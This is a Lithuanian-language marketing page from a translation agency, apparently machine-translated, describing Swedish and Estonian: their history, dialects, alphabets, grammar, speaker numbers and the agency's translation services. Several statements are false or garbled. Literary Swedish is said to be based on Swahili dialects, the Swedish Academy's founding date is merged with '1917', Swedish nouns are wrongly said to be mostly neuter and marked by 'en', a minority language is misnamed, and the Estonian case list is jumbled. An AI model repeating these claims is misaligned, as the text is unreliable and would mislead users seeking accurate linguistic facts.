pasiskolinti iš žemutinės vokiečių kalbos, ir šie panašumai pastebimi tiek žodyne, tiek gramatikoje. Dažnai kalbama apie šešias pagrindines tarmių sritis Švedijoje, prie kurių pridedamos Rytų Švedijos tarmės (östsvenska målen) Suomijoje. Švedijoje, iš pietų į šiaurę, yra pietų švedų tarmės (sydsvenska mål), Götamålio tarmės (götamål), Gotlando tarmės (götländska mål), Svealando tarmės (sveamål) ir Berjslageno tarmės (bergslagsmål). Skirtumai tarp tarmių sričių daugiausia susiję su tartimi. Tačiau taip pat yra daug tikrų vietinių tarmių, kurias iš kitų vietovių atvykusiems žmonėms gali būti sunku suprasti. Švedų kalba išsivystė iš senosios norvegų kalbos, kuria kalbėjo germanų gentys Skandinavijoje vikingų epochoje. Apie VIII a. iš jos pradėjo formuotis įvairios regioninės kalbos formos, kurios iki XI a. susiformavo į keturias tarmes, iš kurių vėliau susiformavo dabartinės šiaurės germanų kalbos – islandų, norvegų, danų ir švedų. Švedų leksikoje gausu skolinių – seniausi iš lotynų, graikų, žemutinės ir aukštutinės vokiečių kalbų, naujausi iš prancūzų ir anglų kalbų. Seniausia švedų rašto forma buvo runų raštas, kuris puošia istorinius paminklus, išlikusius dar nuo VIII a. X–XI a. plintant krikščionybei ir jos religinei literatūrai. Švedijoje taip pat buvo plačiai vartojama lotynų kalba. Gausiausi švedų rašto liudijimai yra iš XIII a. , kai buvo pradėtas naudoti lotyniškas raštas. Svarbiausi XIV a. pradžios rašytiniai paminklai švedų kalba yra istorinės kronikos. Švedų literatūros vystymąsi paskatino XVI a. švedų iš lotynų kalbos išversta Biblija. Ši literatūrinė kalba atsirado XVII a. ir turi du variantus – Riksvenska (Švedija) ir Finlandssvenska (Suomija). Literatūrinė kalba pagrįsta svahilių kalbos dialektais. Pirmoji spausdinta knyga švedų kalba buvo išleista 1495 m. , o pirmoji švedų kalbos gramatika – 1684 m. (lotynų kalba). Pagrindinės tarmių grupės yra šios: pietų švedų, jotų, švedų, šiaurės švedų, rytų švedų ir gotlandų. 1786. 1917 m. karalius Gustavas III (Gustaf III) įkūrė Švedijos akademiją (Svenska Akademien), kad „skatintų švedų kalbos grynumą, stiprumą ir didybę“. Šiandien žinomiausia Švedijos akademijos užduotis – Nobelio literatūros premijų skyrimas. Akademija taip pat teikia kitus apdovanojimus ir yra atsakinga už Švedijos akademijos vardų sąrašą (Svenska Akademiens ordlista) – norminį leidinį apie švedų kalbos rašybą ir pavadinimus, pirmą kartą išleistą 1874 m . Pagal 2009 m. kalbų įstatymą švedų kalba Švedijoje turi pagrindinės kalbos statusą. Įstatyme nustatyta, kad švedų kalba yra bendrinė ir visuotinai priimtina viešojo bendravimo kalba Švedijoje. Ji gali būti vartojama visose visuomenės gyvenimo srityse, pavyzdžiui, bendraujant su valdžios institucijomis. Suomijoje švedų kalba yra valstybinė kalba, turinti tokį patį teisinį statusą kaip ir suomių kalba. Švedų kalba yra viena iš oficialiųjų Europos Sąjungos kalbų. Švedijoje taip pat yra penkios tautinių mažumų kalbos: suomių, mankelų, samių, jidiš ir romų. Švedijos parlamentas taip pat priėmė įstatymą, kuriuo švedų gestų kalbai suteikiamas mažumos kalbos statusas. Švedų kalba yra gana sudėtinga tiek gramatiniu, tiek garso požiūriu. Dažnai sakinys baigiamas kylančia intonacija. Skiriamąjį skambesį lemia dviejų tipų kirčiai arba intonacijos – krentantysis kirtis ir riesta intonacija. Prielinksnis girdimas dviskiemeniuose ir daugiaskiemeniuose žodžiuose, kurių vienas skiemuo turi pagrindinį, o kitas – šalutinį kirtį. Tokiuose žodžiuose intonacija iš pradžių krenta, paskui kyla ir vėl krenta, taip sukurdama muzikinį skambesį. Šiuolaikinei švedų kalbai būdingas neformalus stilius ir familiarumo aplinka tiek bendraujant su kitais žmonėmis, tiek su valdžios institucijomis. Išskyrus kelias išimtis, į asmenis, įskaitant aukštą socialinį statusą turinčius asmenis, kurie nėra asmeniškai pažįstami, kreipiamasi antrojo asmens vienaskaitos įvardžiu du („tu“). Ši komunikacijos raida prasidėjo 1920– 1960 metų. Kalbos kodas ISO 639-1: sv ŠVEDŲ KALBOS ABĖCĖLĖ Nuo XIII a. švedų kalba rašoma lotyniškomis raidėmis, pridedant keletą lotyniškam raidynui nebūdingų raidžių. Švedų abėcėlę sudaro 29 raidės – 9 balsės (a, e, i, o, u, y, å, ä, ö) ir 20 priebalsių (b, c, d, f, g, h, j, k, l, m, n, p, q, r, s, t, v, w, x, z). Iš jų „w“ ir „q“ vartojami tik pavadinimuose arba įvardžiuose. AR SUDĖTINGA ŠVEDŲ KALBA? Mokymasis suprasti, kalbėti ir mąstyti kita kalba yra nuostabus ir visada daug laiko reikalaujantis procesas. Mokydamiesi užsienio kalbos ne tik pagiliname savo žinias, bet ir gauname naujos informacijos apie žmones, šalį, jų kultūrą ir tradicijas. Nuomonės apie švedų kalbos sudėtingumą labai skiriasi. Gimtakalbiams, kuriems anglų ar vokiečių kalba yra gimtoji, ir tiems, kurie jau yra išmokę šias kalbas, švedų kalbos mokymasis nesukelia didelių sunkumų. Pirma, švedų kalba turi daug skolinių iš šių kalbų. Nuo XX a. pradžios kalbos gramatika palaipsniui buvo supaprastinta, nebevartojamos veiksmažodžių daugiskaitos formos, yra tik dvi linksniuotės. Daiktavardžiai turi dvi gimines: bendrinę ir niekatrąją. Dauguma daiktavardžių yra niekatrosios giminės. Niekatroji giminė žymima neapibrėžiamuoju artikeliu „en“, į apibrėžiamąjį „ett“. Įdomu tai, kad švedų kalboje šis daiktavardis turi dvi formas: apibrėžtąją ir neapibrėžtąją. Švedų kalboje pabrėžti skiemenys visada tariami ilgai, o nepabrėžti skiemenys tariami trumpai. Ilgai ištarti galima ne tik balsį, bet ir dvigubą priebalsį arba kelių skirtingus priebalsių junginį. Būdvardis derinamas su daiktavardžiu pagal giminę ir skaičių – galūnės pasirinkimas priklauso nuo daiktavardžio, su kuriuo siejamas būdvardis. Švedų kalboje, kaip ir latvių, yra dviejų tipų jungtukai – sujungiamieji ir prijungiamieji. Žodžių tvarka sakinyje yra griežta. Su tarimu gali būti šiek tiek sunkiau, nes reikia atskirti dvi intonacijas, kurios taip pat gali pakeisti žodžių prasmę. Tačiau šios intonacijos daro švedų kalbą labai melodingą ir gražią. Didžiausias privalumas mokantis švedų kalbos yra tas, kad teoriškai galite suprasti norvegų ir danų kalbas. JAV Užsienio tarnybos instituto duomenimis, norint laisvai kalbėti švediškai, prireiktų mažiausiai 750 valandų mokymosi. ŠVEDŲ KALBOS VERTĖJAS ŽODŽIU IR RAŠTU „Skrivanek“ vertėjų raštu ir žodžiu komanda atlieka standartinius, techninius ir notaro patvirtintus vertimus. Taip pat atliekame švediškų tekstų korektūrą ir stilistinį tobulinimą. Žinoma, kalbos ekspertai gali suteikti informacijos apie kultūrinius skirtumus, verslo etiketą, istoriją ir tradicijas. Visi vertėjai raštu ir žodžiu, korektoriai ir redaktoriai yra pasirašę konfidencialumo sutartį, todėl galite mums patikėti savo originalo tekstus. Verslo klientams dažniausiai verčiame iš švedų kalbos ir į švedų kalbą – e. parduotuvių turinio ir svetainių vertimus, reklaminių šūkių vertimus, rinkodaros tekstus, bendradarbiavimo sutarčių vertimus, verslo dokumentus, techninių tekstų vertimus. Taip pat atliekame nuoseklųjį vertimą žodžiu verslo ar kitiems pokalbiams, konferencijoms ir kitiems renginiams. Fiziniams asmenims verčiame asmens tapatybės dokumentus, santuokos liudijimus, vaikų gimimo liudijimus, išsilavinimo dokumentus, pasus, medicininius dokumentus ir kt. vertimus. KUR IR KIEK KALBAMA ŠVEDIŠKAI? Švedų kalba pasaulyje kalba apie 10 mln. žmonių, daugiausia Švedijoje (9,4 mln. ). Švedų kalba yra gimtoji arba antroji kalba, kuria kalba dauguma Švedijos gyventojų. Suomijoje švedų kalba yra gimtoji maždaug 5 % gyventojų (apie 290 000). Švedų kalba taip pat yra privalomas mokyklinis dalykas suomiškai kalbantiems mokiniams, todėl daug žmonių Suomijoje kalba švediškai arba supranta švedų kalbą. Tačiau faktinis švedų kalbos mokėjimas Suomijoje skiriasi pagal regioną. Autonominis Suomijos Alandų regionas praktiškai yra švedakalbė teritorija. Švediškai kalbantys žmonės Estijos pakrantės vietovėse gyvena jau šimtus metų. Dauguma jų Antrojo pasaulinio karo metais pabėgo į Švediją. Dėl didelio emigracijos srauto iš Šiaurės Europos į Šiaurės Ameriką XIX a. pabaigoje ir XX a. pradžioje Jungtinėse Valstijose gyveno apie 70 000 švedų, kurių daugelis stengėsi išsaugoti savo protėvių kalbą. Kanadoje yra apie 20 000 švedų kalbos vartotojų, o Ispanijoje ir Jungtinėje Karalystėje – nedidelės švedų diasporos. Nedidelė švedakalbių populiacija gyveno vadinamajame senajame švedų kaime Starošvedske (Gammalsvenskby) Pietų Ukrainoje nuo XVIII a. pabaigos, kai jie ten buvo ištremti iš Estijos. ŠVEDŲ KALBA VERSLUI Švedų kalba dažniausiai vartojama tik verslui su Skandinavijos šalimis. Nors ji yra viena iš oficialiųjų ES kalbų, tarptautinėje verslo arenoje ji nėra labai svarbi. Švedų kalbos mokyklos ir kursai tampa vis populiaresni daugelyje Europos šalių, vis daugiau žmonių nori mokytis švedų kalbos, nes ji suteikia galimybę gauti gerai apmokamą darbą įmonėse, kurios bendradarbiauja su Švedijos įmonėmis. ŠVEDIJOS IR LATVIJOS BENDRADARBIAVIMAS Latviją ir Švediją sieja istoriniai ryšiai ir aktyvus dvišalis bendradarbiavimas, grindžiamas glaudžiu dialogu visais lygmenimis ir visose srityse bei bendru siekiu užtikrinti stabilumą, gerovę ir saugumą Baltijos jūros regione ir visoje Europoje. Švedija yra viena svarbiausių Latvijos ekonominių partnerių. Švedijos ambasada, atidaryta 1991 m. rugpjūčio 29 d. Rygoje, buvo viena pirmųjų užsienio šalių ambasadų nepriklausomybę atgavusioje Latvijoje. 2019 m. buvo įsteigtas Švedijos ir Latvijos bendradarbiavimo fondas. Jos pagrindinis tikslas – skatinti abiejų šalių bendradarbiavimą, palengvinant keitimąsi kontaktais, žiniomis ir informacija, populiarinti latvių kalbą Švedijoje ir švedų kalbą Latvijoje. Su Švedija aktyviai bendradarbiaujama kultūros srityje. Glaudūs Latvijos ir Švedijos muziejų ir paminklų apsaugos ekspertų ryšiai. Bendradarbiavimas bibliotekų, kultūros paveldo, teatro, šokio ir kt. tarptautinio bendradarbiavimo platformų srityse. 2014 m. Ryga ir Umeo (Švedija) buvo Europos kultūros sostinės. Pabrėždami savo kultūrinį turtingumą ir įvairovę Europoje ir pasaulyje, abu miestai taip pat įgyvendino nemažai bendrų projektų ir užmezgė ryšius būsimam bendradarbiavimui. Latvijos etnografinis muziejus po atviru dangumi užmezgė puikų bendradarbiavimą su Švedija – muziejų įkvėpė Skanseno muziejus Švedijoje. Švedijos karališkoji biblioteka taip pat yra ilgametė Latvijos nacionalinės bibliotekos bendradarbiavimo partnerė. Švedų rašytojai ir vertėjai yra dažni svečiai Tarptautiniuose vertėjų ir rašytojų namuose Ventspilyje. Atkūrus Latvijos nepriklausomybę, Švedija svariai prisidėjo prie Stokholmo ekonomikos aukštosios mokyklos Rygoje (nuo 1994 m. ) ir Rygos teisės aukštosios mokyklos (nuo 1997 m. ) įkūrimo ir plėtros. Abu universitetai taip pat teikia labai konkurencingą tarptautinio lygio išsilavinimą. Abiejų šalių studentai ir darbuotojai naudojasi studijų galimybėmis kitoje šalyje. Latvijos universitetai jau sėkmingai bendradarbiauja su Švedija pagal ES programas BRILLIANT, ERASMUS +, CAMART. Latvijos kultūros akademija siūlo studijų programą „Tarptautiniai kultūriniai ryšiai Latvija– Švedija“. Latvijos universitetas taip pat siūlo švedų kalbos kursus. Stokholmo universitete galite mokytis latvių kalbos kaip užsienio kalbos. Švedijos piliečių interesams Latvijoje atstovauja Švedijos ambasada Latvijoje. SPRENDIMAI, KURIUOS DAŽNIAUSIAI TEIKIAME ŠVEDŲ KALBA: dokumentų vertimas į švedų kalbą; skubūs rašytiniai vertimai; notaro patvirtintas vertimas; interneto svetainės vertimas; švediškų tekstų korektūra; tekstų adaptacija ir kūrybinių tekstų rengimas; DTP – grafinio dizaino paslaugos; švedų kalbos vertimas žodžiu; švedų kalbos kursai. ŠVEDŲ KALBOS KOMBINACIJOS latvių–švedų; švedų–latvių; estų–švedų; švedų–estų; lietuvių–švedų; švedų–lietuvių; rusų–švedų; švedų–rusų; lenkų–švedų; švedų–lenkų; ukrainiečių–švedų; švedų–ukrainiečių; čekų–švedų; švedų–čekų; vokiečių–švedų; švedų–vokiečių; ispanų–švedų; švedų–ispanų; prancūzų–švedų; švedų–prancūzų; italų–švedų; švedų–italų; danų–švedų; švedų–danų; suomių–švedų; švedų–suomių; norvegų–švedų; švedų–norvegų; anglų–švedų; švedų–anglų ir kt. --- > Kalbų sprendimai daugiau nei 300 estų kalbos kombinacijų: vertimas raštu, vertimas žodžiu, lokalizavimas ir kt. Gaukite nemokamą pasiūlymą! - Published: 2022-07-13 - Modified: 2024-08-12 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-igaunu-valoda/ - Translation Priorities: Optional Ieškote kalbinių sprendimų estų kalba? Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klientas *Privatus asmuoĮmonė Vardas ir pavardė *Telefono Pridėti Pašalinti Vardas ir pavardė *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti Jūsų žinutėĮkelkite dokumentą, ne didesnį nei 20 MB, jei dokumentas viršija limitą, parašykite tai žinutėje ir mes su jumis susisieksime Click or drag files to this area to upload. You can upload up to 10 files. Kaip apie mus sužinojote? Kaip apie mus sužinojote? Esu Skrivanek klientasGoogle paieškaDraugo (-ės) / pažįstamo (s) rekomendacijaFacebookTwitterLinkedInInstagramReklamaParodaReklama spausdintoje žiniasklaidojeSu manimi susisiekė Skrivanek pardavimų vadybininkasKita *Sutinku, jog mano pateikti asmens duomenys būtų tvarkomi šios užklausos tikslais pagal „Skrivanek Baltic“ Privatumo politiką. Siųsti ISO sertifikatais patvirtinta kokybės ir konfidencialumo garantijaMūsų projektų vadovai kalba latvių, rusų, anglų, vokiečių ir lenkų kalbomis99 % klientų pasiūlymą gauna greičiau nei per 15 minučiųDaugiau nei 3 000 kalbos specialistų ir gimtakalbiųDaugiau nei 98 % klientų norėtų mus rekomenduoti savo draugams ir partneriamsKasmet mūsų biure išverčiama daugiau kaip 16 milijonų žodžių. VERTIMAI Į ESTŲ KALBĄ KIEK KAINUOJA ESTŲ KALBOS VERTIMAI? Vertimų iš / į estų kalbą kaina kiekvienam užsakymui nustatoma labai individualiai. Kainodarą sudaro kelios sudedamosios dalys, kurios priklauso nuo kliento pageidavimų ir poreikių. Nuosekliųjų vertimų kaina priklauso nuo paslaugos suteikimo laiko, kalbų kombinacijos, į kurią reikės versti. Rašytinių vertimų kainą lemia verčiamos medžiagos apimtis, vertimo terminai, specifinis teksto turinys, teksto pasikartojimas vertime, grafinis apdorojimas, formatavimas, korektūra, taip pat kliento pasirinktos papildomos paslaugos, įskaitant notaro patvirtinimus ir kt. paslaugas AR YRA VERTIMŲ KAINORAŠTIS? Taip, vertimo raštu ir žodžiu (sinchroninio ir nuosekliojo) iš / į estų kalbą paslaugų kainoraštis yra neatsiejama mūsų bendradarbiavimo sutarties su klientais dalis. Prieš pradėdama vertimo projektą „Skrivanek“ visada pateikia išsamią informaciją apie vertimo kainą. Kiekvieno užsakymo kaina nustatoma individualiai pagal dabartinį „Skrivanek“ kainoraštį, atsižvelgiant į originalo teksto žodžių skaičių, vertimo dubliavimąsi ir kitus parametrus. Norėdami gauti pasiūlymą, nedvejodami atsiųskite mums medžiagą, kurią reikia išversti, ir mūsų projektų vadovai su jumis susisieks ir susitars dėl sprendimo. FAKTAI APIE ESTŲ KALBĄ Estų kalba priklauso Baltijos jūros finougrų kalbų šeimai. Kaip teigia mokslininkai, protofinougrų gentys senovėje gyveno didžiulėse teritorijose, kurios net ribojosi su Irano genčių arealu toli už Uralo kalnų. Tačiau apie III tūkstantmetį pr. m. e. Jie migravo prie Baltijos jūros, kur pradėjo megzti glaudžius kultūrinius ryšius su vietinėmis baltų gentimis, o archeologiniuose paminkluose jie atpažįstami kaip „šukinės-duobelinės“ keramikos kultūros atstovai. Estų kalba yra gimininga lyvių, suomių ir vodų kalboms, bet ne kaimyninių šalių – rusų, latvių ir švedų – kalboms. Estų ir suomių kalbos atsirado suskilus protofinougrų gentims, kurios bendravo protofinougrų kalba. Šiuolaikinė estų kalba daug labiau skiriasi nuo finougrų kalbos nei šiandien vartojama suomių kalba, tačiau estų kalboje yra keletas archaizmų, kurių suomių kalboje nebėra. Estų kalba yra vienintelė oficiali Estijos Respublikos kalba. Valstybinės kalbos statusas nustatytas Estijos Respublikos Konstitucijoje (Eesti Vabariigi põhiseadus, 1992) ir Kalbos įstatyme (Keeleseadus, 2011). Nuo 2004 m. estų kalba yra viena iš oficialiųjų Europos Sąjungos kalbų. Ji vartojama naudojama visose sociolingvistinėse srityse, įskaitant valstybės ir vietos valdžios institucijas, švietimą, mokslą ir informacines technologijas. Rusų kalba yra bene labiausiai paplitusi tautinių mažumų kalba šalyje. Rusų kalbą kaip antrąją vartoja 40–70 metų amžiaus etniniai estai. Rusų kalba buvo neoficiali Estijos SSR kalba nuo 1944 iki 1991 m. ir sovietinėse mokyklose buvo dėstoma kaip privaloma. Regioninės estų kalbos tarmės skirstomos į tris grupes: šiaurės, pietų ir šiaurės rytų. Pietinei grupei priklauso Tartu srities tarmė, Veru srities tarmė ir Viljandi srities tarmė, o šiaurinei grupei – rytinė, vidurinė, vakarinė ir salų tarmės. Šiaurės rytų tarmės, kuriomis kalbama Šiaurės Estijoje, Suomijos įlankos pakrantėje į rytus nuo Talino, yra atskiros. Kiekviena tarmė yra suskirstyta į smulkesnius pogrupius, kurių ribos dažniausiai sutampa su buvusių seniūnijų ribomis. Labiausiai skiriasi šiaurinė ir pietinė tarmės. Manoma, kad šios tarmės kažkada buvo atskiros kalbos, kurios II tūkstantmetyje, veikiamos baltų ir germanų kalbų, susiliejo ir susiformavo estų kalba. Pietų estų kalbos ir salų tarmės taip pat skiriasi nuo estų literatūrinės kalbos gramatiniu požiūriu, o kitos tarmės skiriasi daugiausia tarimu. Tarmės daugiausia vartojamos pietų Estijoje ir vakarų Estijos salose. Šiandien labiausiai paplitusi tarmė yra veru tarmė. Tarmiška kalba labiau būdinga vyresnio amžiaus žmonėms. Užsienyje taip pat kalbama įvairiomis estų kalbos atmainomis. Jas taip pat galima laikyti regioninėmis tarmėmis, nes kiekviena iš jų susijusi su tam tikra vietove ir joje vartojamomis vietinėmis kalbomis. Socialiniu požiūriu estų kalba yra gana vienalytė. Tai reiškia, kad nėra didelio skirtumo tarp kasdienės šnekamosios kalbos ir standartinės literatūrinės kalbos. Galima skirstyti įvairių socialinių grupių (mokiniai, kaliniai ir t. t. ) kalbos variantus, tačiau jie iš esmės skiriasi tik leksika. Nors rašytinė estų kalba egzistuoja nuo XVI a. , kai buvo išleistos pirmosios religinės knygos estų kalba, literatūrinė estų kalba iš tikrųjų pradėjo vystytis XVII ir XVIII a. , kai padaugėjo spausdintų tekstų, išaugo raštingumas ir atsirado standartizuotos kalbos poreikis. Kadangi pirmąsias knygas estų kalba išleido vokiečiai, siekdami skleisti liuteronų tikėjimą, reikėjo spaudinių tiek šiaurės, tiek pietų estų kalba. Taigi nuo pat pirmųjų užrašų estų kalba pagal dvi dialektų grupes susiformavo dvi rašytinės kalbos: šiaurės estų, arba Talino, ir pietų estų, arba Tartu, kalbos. Nė viena iš pirminių rašytinių kalbų neišsivystė į visiškai sunormintą literatūrinę kalbą, tačiau abi buvo vartojamos lygiagrečiai iki XX a. Nuo XVIII a. šiaurės estų raštas paplito plačiau ir greičiau nei pietų estų raštas ir tapo pagrindine rašto kalba visoje Estijoje. Vienas iš veiksnių, turėjusių tam įtakos, buvo 1739 m. Biblija tapo estų rašytinės kalbos pavyzdžiu iki XIX a. pirmosios pusės. XIX a. pradžioje pirmą kartą buvo iškeltas dviejų rašytinių kalbų sujungimo klausimas. Bendros estų kalbos klausimas tapo labai svarbus XIX a. antrojoje pusėje, kai tautinio atgimimo metu ypač sustiprėjo tautinės vienybės jausmas. Greta bendros estų kalbos klausimo ilgą laiką kilo problemų dėl estų kalbos rašybos. Kai XIX a. pradžioje paaiškėjo, kad estų kalba yra gimininga suomių kalbai, suomių, o ne vokiečių kalba tapo estų ortografijos pagrindu. Dideli estų kalbos pokyčiai įvyko aštuntajame dešimtmetyje, kai buvo nuspręsta toliau taikyti normas, kurios atsižvelgtų į natūralią estų kalbos raidą ir taip būtų artimesnės realiai vartojamai estų kalbai. Šiandien estų kalbos politiką valdo ir koordinuoja Estijos švietimo ir mokslo ministerija (Haridus – ja Teadusministeerium). Kalbos normos nustatytos Kalbos įstatyme, kuriame teigiama, kad normos grindžiamos naujausiu Estijos kalbos instituto (Keele Instituut), išleistu rašybos žodynu, Estijos gimtosios kalbos draugijos Kalbos komisijos (Emakeele Seltsi keelsaimkond) sprendimais ir rekomendacijomis dėl kalbos vartojimo ir rašybos, Estijos gimtosios kalbos draugijos patvirtinta normine estų kalbos gramatika ir vadovėliu. Žinomiausi XIX a. kalbininkai, aktyviai dalyvavę plėtojant estų literatūrinę kalbą, yra E. Ahrens, F. J. Wiedemann, J. Hurt ir M. Veske. Maždaug tuo metu prasidėjo spartus estų literatūros vystymasis. Estų rašytinė kalba vystėsi įdomiai. 19-ojo šimtmečio pabaigoje prasidėjo kalbininko M. Veske skatinamas judėjimas, kurio tikslas buvo priartinti to meto rašytinę kalbą prie atskirų tarmių fonetinių ypatumų. Šis judėjimas buvo toks sėkmingas, kad kurį laiką Estijoje susiformavo dvi lygiagrečios literatūrinės kalbos. Seniausi estų kalbos skoliniai yra iš baltų, germanų, indoiranėnų ir slavų kalbų, o naujausi – iš latvių, rusų, vokiečių ir švedų kalbų. Tačiau tarptautiniai žodžiai estų kalboje vartojami retai. Kalbos kodas ISO 639-1: et ESTŲ KALBOS ABĖCĖLĖ Estų kalboje naudojama lotyniškoji abėcėlė, kurioje išliko vokiečių kalbos įtaka – trys diakritinės raidės – umliautai, kurie estų kalboje laikomi atskiromis raidėmis (Ä, Ö, Ü) ir buvo pritaikyti estų kalbai. Abėcėlę sudaro šios raidės: a, b, d, e, f, g, h, i, j, k, l, m, n, o, p, r, s, š, z, ž, t, u, v, õ, ä, ö, ü. Raidės „f“, „š“, „z“, „ž“ vartojamos tik svetimžodžiuose. Užsienietiškos raidės taip pat vartojamos užsienietiškiems pavadinimams ir žodžiams rašyti: c, č, q, w, x, y. Dabartinė estų kalbos ortografija buvo sukurta XIX a. antroje pusėje pagal suomių ortografijos pavyzdį. Estų kalboje yra 26 fonemos: devynios balsės (a, e, i, o, u, õ, ä, ö, ü) ir 17 priebalsių (f, h, j, k, l, l´, m, n, n´, p, r, s, s´, š, t, t´, v). Iš jų „f“ ir „š“ vartojami tik svetimžodžiuose, o „õ“, „ä“, „ö“ ir „ü“ dažniausiai pasitaiko pirmajame žodžio skiemenyje. Estų kalboje pagrindinis kirtis yra pirmame skiemenyje; svetimžodžiuose kirtis gali būti kitur. Garsai ir tam tikri skiemenys gali būti tariami trimis skirtingais kiekybiniais laipsniais (välted), kurie suteikia žodžiams skirtingas reikšmes. AR SUDĖTINGA ESTŲ KALBA? Ji laikoma viena sudėtingiausių kalbų pasaulyje. JAV Užsienio tarnybos instituto duomenimis, estų kalba yra penkta pagal sunkumą. Ypač angliakalbiams estų kalba yra sudėtinga dėl skirtingų gramatinių ypatybių. Balsiai ir priebalsiai estų kalboje yra trijų ilgumų – trumpo, ilgo ir labai ilgo, o jų vartojimas keičia žodžio reikšmę. Pavyzdžiui, linen estų kalba reiškia „liną“, o linna – „miestą“. Estų kalba turi turtingą linksniavimo sistemą – 14 gramatinių linksnių. Be gerai žinomų linksnių, tokių kaip vardininkas ir kilmininkas, dar yra dalelytė (reiškianti daikto dalį, kiekį), iliatyvas (rodantis kryptį – kur eiti? ), kur viduje? ), elatyvas (nurodo kryptį tolyn, lauk), alatyvas (atsako į klausimą kur? ), adjunktyvas (nurodo buvimą ant ko nors), ablatyvas (nuo ko? ), esatyvas (kokioje vietoje ar padėtyje? ), translatyvas (nurodo, kad kažkas tampa kažkuo), komitatyvas arba palydovas (su kuo? ) ir terminatyvas arba apribojimas (nurodo apribojimą erdvėje ir laike). Estų kalbos veiksmažodis turi keturias laiko formas – vieną esamojo ir tris būtojo laiko, tačiau estų kalboje nėra tokios gramatinės kategorijos kaip būsimasis laikas. Panašiai ir estų kalbos veiksmažodžiai turi dvi bendratis. Pagrindinis dėmesys visada skiriamas pirmajam žodžio skiemeniui, mažiau – trečiajam. Žodžių tvarka estų kalboje yra gana laisva, todėl sakinio prasmę galite suprasti net ir nesilaikydami žodžių tvarkos. Visi daiktavardžiai ir būdvardžiai, tiek vienaskaitos, tiek daugiskaitos, turi tą pačią galūnę, o daugiskaitai sudaryti vartojamos specialios priesagos. Tas pats įvardis reiškia abi gimines, nes estų kalboje jos neskiriamos. Estų kalboje nėra aukščiausiojo laipsnio; laipsnį nurodo atitinkamos stiprinamosios dalelytės žodžio pabaigoje. Ši kalba turi ypatingą atpasakojamąją nuosaką ir neigiamą linksniuotę, bet neturi priešdėlinių veiksmažodžių, nes estų kalboje nėra prielinksnių. Štai kodėl yra tiek daug linksnių. Estų kalba yra penkta pagal sunkumą, o suomių kalba – šešta. Todėl abi kalbos estams ir suomiams yra gana lengvai suprantamos ir išmokstamos. Estų kalbą suomiams lengviau išmokti dėl šių priežasčių: Regioninis poveikis: kadangi Suomija yra kaimyninė šalis, abi šalys turi kultūrinių ir kalbinių panašumų. Ir suomių, ir estų kalbos priklauso Uralo kalbų šeimai. Estų kalboje yra 14 gramatinių linksnių, o suomių kalboje – 15. Abiejose kalbose yra balsių, kurie anglų kalboje nėra įprasti, todėl suomių kalbos vartotojams lengviau prisitaikyti prie estų kalbos. ESTŲ KALBOS VERTĖJAS ŽODŽIU IR RAŠTU Mūsų profesionalių vertėjų raštu ir žodžiu komanda gali versti standartinius dokumentus, techninius ir notaro patvirtintus vertimus. „Skrivanek“ taip pat atlieka estų kalbos tekstų korektūrą ir stilistinį tobulinimą. Žinoma, kalbos ekspertai gali suteikti informacijos apie kultūrinius skirtumus, verslo etiketą, istoriją ir tradicijas. Teminis medžiagos, verčiamos iš / į estų kalbą, spektras yra labai platus, atsižvelgiant į aktyvų abiejų šalių bendradarbiavimą įvairiose srityse – verslo, ekonomikos, švietimo, kultūros ir kt. Verslo klientams iš / į estų kalbą dažniausiai verčiame šiuos vertimus: elektroninės komercijos turinį ir svetainių vertimus, reklaminius šūkius, SEO tekstus, „Google“ raktažodžius, rinkodaros vertimus, bendradarbiavimo sutartis, verslo dokumentus, teismo dokumentų (baudžiamųjų, civilinių ir administracinių bylų) vertimus. Taip pat teikiame nuosekliojo ir sinchroninio vertimo paslaugas verslo ir kitiems pokalbiams, konferencijoms ir kitiems renginiams. Taip pat bendradarbiaujame su valdžios institucijomis atliekant įvairius teisinius vertimus. Fiziniams asmenims verčiame asmens tapatybės dokumentus, santuokos liudijimus, vaikų gimimo liudijimus, išsilavinimo dokumentus, pasus, medicininius dokumentus ir kt. vertimus. KUR IR KIEK KALBAMA ESTŲ KALBA? Estų kalba yra antra mažiausia kalba pasaulyje, turinti valstybinės kalbos statusą (pirmoji yra islandų kalba). Estų kalba yra gimtoji maždaug 1,1 mln. žmonių visame pasaulyje, iš jų apie 915 000 žmonių Estijoje (2021 m. ) ir apie 200 000 žmonių už Estijos ribų; iš jų apie 50 000 – Suomijoje, apie 27 000 – Jungtinėse Amerikos Valstijose, 24 000 – Kanadoje, 26 000 – Švedijoje, 17 000 – Rusijoje, apie 7 000 – Australijoje, 10 000 – Jungtinėje Karalystėje, Vokietijoje, Norvegijoje, Ukrainoje, Airijoje, Belgijoje, Danijoje, Nyderlanduose ir apie 1700 – Latvijoje. Estų kalba yra viena iš 200 labiausiai paplitusių pasaulio kalbų ir trečia labiausiai paplitusi Uralo kalba po vengrų ir suomių. Per Antrąjį pasaulinį karą, kai 1944 m. sovietų kariuomenė įsiveržė į Estiją, daug estų pabėgo iš tėvynės laivais ar mažesnėmis valtimis per Baltijos jūrą. Daugelis pabėgėlių, išgyvenusių pavojingą kelionę jūra į Švediją ar Vokietiją, vėliau iš ten persikėlė į Kanadą, Jungtinę Karalystę, Jungtines Amerikos Valstijas ar Australiją. Kai kurie iš šių pabėgėlių ir jų palikuonių grįžo į Estiją po to, kai 1991 m. šalis atgavo nepriklausomybę. Nepriklausomybės metais vis daugiau estų rinkosi darbą užsienyje, daugiausia Suomijoje, taip pat kitose Europos šalyse (daugiausia Jungtinėje Karalystėje, Beniliukso šalyse, Švedijoje ir Vokietijoje), todėl Estija tapo šalimi su didžiausiu emigracijos lygiu Europoje. ESTŲ KALBA VERSLUI Estai kalba keliomis kalbomis. Tačiau ne visi moka estų kalbą, kaip rusai, net jei jie gimė Estijoje. Dauguma estų rusų kalbą vartoja kaip antrąją bendravimo kalbą. Anglų kalba visada buvo privalomas dalykas mokykloje, net ir komunistinio režimo laikais. Rusų kalba nėra valstybinė kalba, todėl pagal įstatymus visi oficialūs dokumentai, pavyzdžiui, sutartys ir sandoriai, turi būti išversti į estų kalbą. Anglų kalba Estijoje yra populiari, o geros anglų kalbos žinios yra svarbi verslo išsilavinimo dalis. Tarptautiniai verslo susitikimai paprastai vyksta anglų kalba, todėl estai nelabai tikisi, kad jų verslo partneriai 